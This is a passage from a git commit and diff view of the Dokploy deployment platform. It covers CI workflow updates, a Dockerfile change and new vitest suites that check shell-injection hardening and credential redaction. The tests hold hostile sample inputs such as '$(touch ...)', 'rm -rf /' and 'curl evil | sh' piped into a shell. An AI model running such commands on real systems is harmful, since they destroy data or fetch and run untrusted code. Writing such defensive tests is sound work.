- Updated the migration journal to reflect these deletions, ensuring the database remains consistent and manageable.
2026-02-22 01:56:07 -06:00
Mauricio Siu efcad7bbf5 feat: add networkIds column to multiple database tables
- Introduced a new column "networkIds" of type text[] with a default value of an empty array to the application, compose, mariadb, mongo, mysql, postgres, and redis tables.
- Updated the application and compose schemas to include the new networkIds field in their respective TypeScript definitions.
- Added corresponding entries in the migration journal and created a snapshot for version 7 to reflect these changes.
2026-02-22 01:53:36 -06:00
Mauricio Siu a0566cdbd7 refactor: remove unused server value and update network handling logic
- Eliminated the unused DOKPLOY_SERVER_VALUE constant from the network handling component.
- Updated the default serverId to undefined in the network form values and adjusted related logic to ensure compatibility with cloud environments.
- Enhanced server validation in the createNetwork function to require a serverId when in cloud mode, improving error handling for network creation.
2026-02-21 14:59:50 -06:00
Mauricio Siu 69598821ed feat: implement Docker network management functionality
- Added components for handling and displaying Docker networks, including creation, editing, and listing of networks.
- Introduced a new API router for network operations, integrating with the database schema for network management.
- Updated the sidebar layout to include a link to the networks dashboard, ensuring user access to network features.
- Created necessary database migrations for the network table and its associated types.
- Enhanced the dashboard layout to support the new network management interface.
2026-02-21 14:53:27 -06:00
473 changed files with 141748 additions and 29211 deletions
+25 -12
View File
@@ -140,6 +140,7 @@ jobs:
runs-on: ubuntu-latest
outputs:
version: ${{ steps.get_version.outputs.version }}
npm_version: ${{ steps.get_version.outputs.npm_version }}
steps:
- name: Checkout
uses: actions/checkout@v4
@@ -151,15 +152,26 @@ jobs:
run: |
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> $GITHUB_OUTPUT
echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT
- name: Fetch install.sh
run: |
curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh
mv install-pinned.sh install.sh
- name: Create Release
uses: softprops/action-gh-release@v2
with:
tag_name: ${{ steps.get_version.outputs.version }}
target_commitish: ${{ github.sha }}
name: ${{ steps.get_version.outputs.version }}
generate_release_notes: true
draft: false
prerelease: false
files: install.sh
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@@ -171,15 +183,18 @@ jobs:
- name: Checkout
uses: actions/checkout@v4
- uses: pnpm/action-setup@v4
with:
version: 10.22.0
- name: Sync version to MCP repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
cd /tmp/mcp-repo
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
npm install -g pnpm
pnpm install
pnpm run fetch-openapi
pnpm run generate
@@ -187,55 +202,53 @@ jobs:
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}"
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
- name: Sync version to CLI repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
cd /tmp/cli-repo
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
npm install -g pnpm
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}"
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
- name: Sync version to SDK repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
cd /tmp/sdk-repo
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
npm install -g pnpm
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}"
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
+36
View File
@@ -0,0 +1,36 @@
name: Hotfix Cherry-Pick
on:
pull_request_target:
types: [closed, labeled]
concurrency:
group: hotfix-to-main
cancel-in-progress: false
jobs:
cherry-pick:
if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- name: Checkout main
uses: actions/checkout@v4
with:
ref: main
fetch-depth: 0
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
- name: Cherry-pick fix to main
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
SHA="${{ github.event.pull_request.merge_commit_sha }}"
if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
git cherry-pick -x -m 1 "$SHA"
else
git cherry-pick -x "$SHA"
fi
git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
git push origin main
+28
View File
@@ -0,0 +1,28 @@
name: Hotfix Release
on:
workflow_dispatch:
concurrency:
group: hotfix-to-main
cancel-in-progress: false
jobs:
release:
runs-on: ubuntu-latest
steps:
- name: Checkout main
uses: actions/checkout@v4
with:
ref: main
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
- name: Bump patch version and push
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
git commit -am "chore: release ${NEW}"
git push origin main
+4 -1
View File
@@ -43,4 +43,7 @@ yarn-error.log*
*.pem
.db
.db
.playwright-*
.credentials
+2 -1
View File
@@ -69,4 +69,5 @@ EXPOSE 3000
HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
CMD ["sh", "-c", "pnpm run wait-for-postgres && exec pnpm start"]
# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS)
CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]
@@ -0,0 +1,26 @@
import { describe, expect, it } from "vitest";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
describe("apiKeyNameSchema", () => {
it("rejects an empty name", () => {
const result = apiKeyNameSchema.safeParse("");
expect(result.success).toBe(false);
});
it("accepts a name at the maximum length", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(true);
});
it("rejects a name over the maximum length instead of passing it to better-auth", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(false);
if (!result.success) {
expect(result.error.issues[0]?.message).toBe(
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
);
}
});
});
@@ -0,0 +1,106 @@
import { execSync } from "node:child_process";
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
import {
getLibsqlBackupCommand,
getMariadbBackupCommand,
getMongoBackupCommand,
getMysqlBackupCommand,
getPostgresBackupCommand,
} from "@dokploy/server/utils/backups/utils";
import {
getMariadbRestoreCommand,
getMongoRestoreCommand,
getMysqlRestoreCommand,
getPostgresRestoreCommand,
} from "@dokploy/server/utils/restore/utils";
import { afterAll, beforeAll, describe, expect, it } from "vitest";
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
// and the inner shell) the way production does, without needing a container.
const stub = `/tmp/docker_stub_${process.pid}`;
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
beforeAll(() => {
writeFileSync(
stub,
`#!/bin/bash
shift # exec
envs=()
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
shift 2 # -i CONTAINER
shell="$1"; shift # bash|sh
shift # -c
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
`,
);
chmodSync(stub, 0o755);
});
afterAll(() => {
if (existsSync(stub)) rmSync(stub);
if (existsSync(MARK)) rmSync(MARK);
});
// Run a builder-produced command with `docker` pointed at the stub; return true
// if no injected command fired.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
const withStub = command.replace(/^docker /, `${stub} `);
try {
execSync(withStub, {
shell: "/bin/bash",
stdio: "ignore",
env: { ...process.env, CONTAINER_ID: "test" },
});
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
// Payloads that try to break out of every quoting style used in the builders.
const p = (mark: string) => [
`$(touch ${mark})`,
"`touch " + mark + "`",
`x'; touch ${mark}; '`,
`x"; touch ${mark}; echo "`,
`x; touch ${mark}`,
];
describe("database backup/restore command injection", () => {
const cases: Array<[string, (v: string) => string]> = [
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
[
"mariadb restore (password)",
(v) => getMariadbRestoreCommand("db", "u", v),
],
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
];
for (const [label, build] of cases) {
it(`${label} is not injectable`, () => {
for (const payload of p(MARK)) {
expect(runsSafely(build(payload))).toBe(true);
}
});
}
it("preserves a legitimate database name (passed through as env var)", () => {
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
// Values live in -e assignments, never inline in the pg_dump text.
expect(cmd).toContain("-e DB_NAME=my-db_prod");
expect(cmd).toContain("-e DB_USER=app_user");
expect(cmd).toContain(
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
);
});
});
@@ -0,0 +1,50 @@
import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact";
import { describe, expect, it } from "vitest";
describe("redactRcloneCredentials (#4621)", () => {
it("should redact access key in rclone command", () => {
const cmd =
'rclone rcat --s3-access-key-id="AKIAIOSFODNN7EXAMPLE" --s3-secret-access-key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("AKIAIOSFODNN7EXAMPLE");
expect(redacted).toContain('--s3-access-key-id="[REDACTED]"');
});
it("should redact secret access key in rclone command", () => {
const cmd =
'rclone rcat --s3-access-key-id="key" --s3-secret-access-key="supersecret" :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("supersecret");
expect(redacted).toContain('--s3-secret-access-key="[REDACTED]"');
});
it("should redact both credentials simultaneously", () => {
const cmd =
'rclone lsf --s3-access-key-id="AKIA123" --s3-secret-access-key="secret456" --s3-region="us-east-1" :s3:bucket/';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).not.toContain("AKIA123");
expect(redacted).not.toContain("secret456");
expect(redacted).toContain('--s3-region="us-east-1"');
});
it("should not modify non-credential flags", () => {
const cmd =
'rclone rcat --s3-region="eu-west-1" --s3-endpoint="https://s3.example.com" --s3-no-check-bucket :s3:bucket/file.gz';
const redacted = redactRcloneCredentials(cmd);
expect(redacted).toBe(cmd);
});
it("should handle commands with no credentials", () => {
const cmd = "rclone lsf :s3:bucket/";
expect(redactRcloneCredentials(cmd)).toBe(cmd);
});
it("should handle error strings containing credentials", () => {
const errorStr =
'Error: Command failed: rclone lsf --s3-access-key-id="MYKEY" --s3-secret-access-key="MYSECRET" :s3:bucket/';
const redacted = redactRcloneCredentials(errorStr);
expect(redacted).not.toContain("MYKEY");
expect(redacted).not.toContain("MYSECRET");
expect(redacted).toContain("[REDACTED]");
});
});
@@ -0,0 +1,70 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = (m: string) => [
`$(touch ${m})`,
"`touch " + m + "`",
`x; touch ${m}`,
`x | touch ${m}`,
];
describe("cluster removeWorker nodeId injection", () => {
// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
it("escapes nodeId in drain/remove commands", () => {
for (const nodeId of PAYLOADS(MARK)) {
const drain = `: node update --availability drain ${quote([nodeId])}`;
const remove = `: node rm ${quote([nodeId])} --force`;
expect(runsSafely(drain)).toBe(true);
expect(runsSafely(remove)).toBe(true);
}
});
});
describe("swarm upload registry tag/push injection", () => {
// registryTag is built from registryUrl/username/imagePrefix (username and
// imagePrefix have no schema regex). Assert docker tag/push stay safe.
it("escapes a malicious imagePrefix flowing into the registry tag", () => {
for (const payload of PAYLOADS(MARK)) {
const registryTag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: payload,
username: "user",
} as any,
"app:latest",
);
const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
const pushCmd = `: push ${quote([registryTag])}`;
expect(runsSafely(tagCmd)).toBe(true);
expect(runsSafely(pushCmd)).toBe(true);
}
});
it("keeps a legitimate registry tag intact", () => {
const tag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: "team",
username: "user",
} as any,
"myapp:1.2.3",
);
expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
expect(parse(quote([tag]))).toEqual([tag]);
});
});
@@ -0,0 +1,169 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "raw" as const,
command: "",
composePath: "docker-compose.yml",
};
// createCommand output is interpolated as `docker ${command}` at the deploy
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
`$(touch ${MARK})`,
`\`touch ${MARK}\``,
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
describe("compose createCommand injection", () => {
it("escapes composePath (docker-compose)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes composePath (stack deploy)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
composeType: "stack",
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes appName", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
appName: p,
composePath: "docker-compose.yml",
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("rejects a custom command containing shell control characters", () => {
for (const bad of [
"up -d; rm -rf /",
"up && curl evil | sh",
"up $(touch x)",
"up `id`",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("allows a legitimate custom command", () => {
const cmd = createCommand({
...base,
command: "compose -f docker-compose.yml -p app up -d --build",
} as any);
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
});
it("keeps a legitimate composePath intact", () => {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: "deploy/docker-compose.prod.yml",
} as any);
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
"deploy/docker-compose.prod.yml",
);
});
it("allows chained docker compose commands with '&&'", () => {
const cmd = createCommand({
...base,
command:
"compose pull && docker compose down && docker compose up -d --build",
} as any);
expect(cmd).toBe(
"compose pull && docker compose down && docker compose up -d --build",
);
});
it("allows chaining with the legacy 'docker-compose' spelling", () => {
const cmd = createCommand({
...base,
command: "compose pull && docker-compose down",
} as any);
expect(cmd).toBe("compose pull && docker-compose down");
});
it("rejects a single '&' used for backgrounding", () => {
expect(() =>
createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
).toThrow(/Single '&' is not allowed/);
});
it("rejects a malformed '&&&' chain", () => {
expect(() =>
createCommand({
...base,
command: "compose pull &&& docker compose up -d",
} as any),
).toThrow(/Single '&' is not allowed/);
});
it("rejects chained segments that are not docker compose invocations", () => {
expect(() =>
createCommand({
...base,
command: "compose pull && rm -rf /",
} as any),
).toThrow(/must strictly start with 'docker compose '/);
});
it("rejects an attempted injection smuggled inside a chained segment", () => {
for (const bad of [
"compose pull && docker compose up -d; touch /tmp/pwn",
"compose pull && docker compose up -d $(touch /tmp/pwn)",
"compose pull && docker compose up -d `touch /tmp/pwn`",
"compose pull && docker compose up -d | touch /tmp/pwn",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("rejects a chain that only pretends to start with docker compose later in the string", () => {
expect(() =>
createCommand({
...base,
command: "compose pull && curl evil.sh | docker compose up -d",
} as any),
).toThrow(/Invalid characters/);
});
});
@@ -0,0 +1,110 @@
import type { Compose } from "@dokploy/server/services/compose";
import type { Domain } from "@dokploy/server/services/domain";
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
import { beforeEach, describe, expect, it, vi } from "vitest";
// addDomainToCompose reads the compose file from disk through loadDockerCompose
// (existsSync + readFileSync). Mock node:fs so the function runs its real
// label-generation logic against an in-memory compose spec.
const composeYaml = `
services:
frigate:
image: frigate
`;
vi.mock("node:fs", async (importOriginal) => {
const actual = await importOriginal<typeof import("node:fs")>();
return {
...actual,
existsSync: vi.fn(() => true),
readFileSync: vi.fn(() => composeYaml),
};
});
const baseCompose = {
appName: "test-app",
composeType: "docker-compose",
composePath: "docker-compose.yml",
sourceType: "raw",
serverId: null,
isolatedDeployment: false,
randomize: false,
suffix: "",
} as unknown as Compose;
const baseDomain: Domain = {
host: "frigate.example.com",
port: 8971,
customEntrypoint: null,
https: false,
uniqueConfigKey: 1,
customCertResolver: null,
certificateType: "none",
applicationId: "",
composeId: "compose-id",
domainType: "compose",
serviceName: "frigate",
domainId: "domain-id",
path: "/",
createdAt: "",
previewDeploymentId: "",
internalPath: "/",
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
const serviceLabels = (
result: Awaited<ReturnType<typeof addDomainToCompose>>,
) => (result?.services?.frigate?.labels as string[] | undefined) ?? [];
describe("addDomainToCompose enabled filtering", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it("generates traefik labels for an enabled domain", async () => {
const result = await addDomainToCompose(baseCompose, [
{ ...baseDomain, enabled: true },
]);
const labels = serviceLabels(result);
expect(labels).toContain("traefik.enable=true");
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
true,
);
});
it("skips a disabled domain entirely (no traefik labels)", async () => {
const result = await addDomainToCompose(baseCompose, [
{ ...baseDomain, enabled: false },
]);
const labels = serviceLabels(result);
expect(labels).not.toContain("traefik.enable=true");
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
false,
);
});
it("emits labels only for the enabled domain when both are present", async () => {
const result = await addDomainToCompose(baseCompose, [
{ ...baseDomain, host: "enabled.example.com", enabled: true },
{
...baseDomain,
host: "disabled.example.com",
uniqueConfigKey: 2,
enabled: false,
},
]);
const labels = serviceLabels(result);
expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe(
true,
);
expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe(
false,
);
});
});
@@ -35,6 +35,7 @@ describe("Host rule format regression tests", () => {
customEntrypoint: null,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
describe("Host rule format validation", () => {
@@ -24,6 +24,7 @@ describe("createDomainLabels", () => {
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
it("should create basic labels for web entrypoint", async () => {
@@ -0,0 +1,96 @@
import { execFileSync } from "node:child_process";
import { mkdirSync, rmSync, writeFileSync } from "node:fs";
import { join } from "node:path";
import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
import { afterEach, describe, expect, it } from "vitest";
// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
const appName = `env-file-literals-${process.pid}`;
const projectPath = join(process.cwd(), ".docker", "compose", appName);
const codePath = join(projectPath, "code");
afterEach(() => {
try {
execFileSync("docker", ["compose", "down", "--remove-orphans"], {
cwd: codePath,
stdio: "ignore",
});
} catch {
// Project may not have been created (e.g. an earlier assertion failed).
}
rmSync(projectPath, { force: true, recursive: true });
});
const cases: Record<string, string> = {
PASSWORD: "pa$$word",
SPECIAL: '!"#$%&/()=?',
NESTED_JSON: '{"nested":{"a":1}}',
MAIL_PASSWORD: "abc#de",
TRAILING_BACKSLASH: "trailing\\",
QUOTE_INSIDE: 'she said "hi"',
APOSTROPHE: "it's a test",
UNICODE: "héllo wörld 日本語 🚀",
MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
};
// How each value must be typed in the UI so the (unchanged) dotenv input
// parser resolves it to the raw string in `cases` above.
const inputEncoding: Record<string, string> = {
PASSWORD: "pa$$word",
SPECIAL: `'!"#$%&/()=?'`,
NESTED_JSON: '{"nested":{"a":1}}',
MAIL_PASSWORD: `"abc#de"`,
TRAILING_BACKSLASH: "trailing\\",
QUOTE_INSIDE: 'she said "hi"',
APOSTROPHE: "it's a test",
UNICODE: "héllo wörld 日本語 🚀",
MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
};
describe("getCreateEnvFileCommand", () => {
it("writes special environment values that Docker Compose reads back literally", () => {
mkdirSync(codePath, { recursive: true });
const serviceEnv = Object.entries(inputEncoding)
.map(([key, value]) => `${key}=${value}`)
.join("\n");
const command = getCreateEnvFileCommand({
appName,
composePath: "docker-compose.yml",
env: serviceEnv,
randomize: false,
suffix: "",
serverId: null,
environment: { project: { env: "" }, env: "" },
} as Parameters<typeof getCreateEnvFileCommand>[0]);
execFileSync("bash", ["-c", command]);
const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys(
cases,
)
.map((key) => ` - ${key}=\${${key}}`)
.join("\n")}\n`;
writeFileSync(join(codePath, "docker-compose.yml"), composeFile);
const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;
const out = execFileSync(
"docker",
["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
{ cwd: codePath, encoding: "utf8" },
);
const parts = out.split("\0");
const actual: Record<string, string> = {};
for (let i = 0; i < parts.length - 1; i += 2) {
actual[parts[i] as string] = parts[i + 1] as string;
}
for (const [key, value] of Object.entries(cases)) {
expect(actual[key], key).toBe(value);
}
}, 60000);
});
@@ -0,0 +1,45 @@
import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
import { describe, expect, it, vi } from "vitest";
// Compose now has a `createEnvFile` toggle (default true), mirroring the
// Application builder's flag: when disabled, Dokploy never writes `.env`,
// so a repo-tracked file survives untouched.
vi.mock("@dokploy/server/utils/docker/domain", () => ({
writeDomainsToCompose: vi.fn().mockResolvedValue(""),
}));
const baseCompose = {
appName: "env-file-toggle",
sourceType: "raw",
command: "",
composePath: "docker-compose.yml",
composeType: "docker-compose",
isolatedDeployment: false,
randomize: false,
suffix: "",
serverId: null,
env: "FOO=bar",
mounts: [],
domains: [],
environment: { project: { env: "" }, env: "" },
} as unknown as Parameters<typeof getBuildComposeCommand>[0];
describe("getBuildComposeCommand createEnvFile toggle", () => {
it("createEnvFile: false never writes the .env file", async () => {
const command = await getBuildComposeCommand({
...baseCompose,
createEnvFile: false,
});
expect(command).not.toContain("base64 -d >");
});
it("createEnvFile: true (default) writes Dokploy's vars", async () => {
const command = await getBuildComposeCommand({
...baseCompose,
createEnvFile: true,
});
expect(command).toContain("base64 -d >");
});
});
@@ -0,0 +1,199 @@
import type { Compose, ComposeSpecification } from "@dokploy/server";
import {
applyServiceNetworks,
declareUsedNetworksInRoot,
resolveServiceNetworks,
} from "@dokploy/server";
import { db } from "@dokploy/server/db";
import { beforeEach, expect, test, type vi } from "vitest";
import { parse } from "yaml";
const findManyMock = db.query.network.findMany as ReturnType<typeof vi.fn>;
beforeEach(() => {
findManyMock.mockReset();
findManyMock.mockResolvedValue([]);
});
const baseCompose = {
serverId: null,
isolatedDeployment: false,
} as unknown as Compose;
const withServiceNetworks = (
serviceNetworks: Compose["serviceNetworks"],
): Compose => ({ ...baseCompose, serviceNetworks });
test("applyServiceNetworks: no-op when serviceNetworks is empty", async () => {
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(result, withServiceNetworks([]));
expect(injected.size).toBe(0);
expect(result.services?.web?.networks).toBeUndefined();
expect(findManyMock).not.toHaveBeenCalled();
});
test("applyServiceNetworks: injects assigned network by networkId", async () => {
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{
serviceName: "web",
networkIds: ["net-1"],
detachDokployNetwork: false,
},
]),
);
expect(injected.has("shared-net")).toBe(true);
expect(result.services?.web?.networks).toContain("shared-net");
});
test("applyServiceNetworks: detach removes dokploy-network and default", async () => {
const result = parse(`
services:
db:
image: postgres
networks:
- dokploy-network
- default
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{ serviceName: "db", networkIds: [], detachDokployNetwork: true },
]),
);
expect(injected.size).toBe(0);
expect(result.services?.db?.networks).not.toContain("dokploy-network");
expect(result.services?.db?.networks).not.toContain("default");
});
test("applyServiceNetworks: unknown networkId is skipped", async () => {
findManyMock.mockResolvedValue([]);
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{
serviceName: "web",
networkIds: ["missing"],
detachDokployNetwork: false,
},
]),
);
expect(injected.size).toBe(0);
});
test("applyServiceNetworks: skips services that don't exist in the compose", async () => {
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
const result = parse(`
services:
web:
image: nginx
`) as ComposeSpecification;
const injected = await applyServiceNetworks(
result,
withServiceNetworks([
{
serviceName: "ghost",
networkIds: ["net-1"],
detachDokployNetwork: false,
},
]),
);
expect(injected.size).toBe(0);
expect(result.services?.web?.networks).toBeUndefined();
});
test("declareUsedNetworksInRoot: declares dokploy-network only when used", () => {
const used = parse(`
services:
web:
image: nginx
networks:
- dokploy-network
`) as ComposeSpecification;
declareUsedNetworksInRoot(used, new Set());
expect(used.networks).toHaveProperty("dokploy-network");
const unused = parse(`
services:
web:
image: nginx
networks:
- default
`) as ComposeSpecification;
declareUsedNetworksInRoot(unused, new Set());
expect(unused.networks ?? {}).not.toHaveProperty("dokploy-network");
});
test("declareUsedNetworksInRoot: declares injected networks that are used", () => {
const result = parse(`
services:
web:
image: nginx
networks:
- shared-net
`) as ComposeSpecification;
declareUsedNetworksInRoot(result, new Set(["shared-net", "unused-net"]));
expect(result.networks).toHaveProperty("shared-net");
expect(result.networks ?? {}).not.toHaveProperty("unused-net");
});
test("resolveServiceNetworks: returns dokploy-network by default", async () => {
const resolved = await resolveServiceNetworks({});
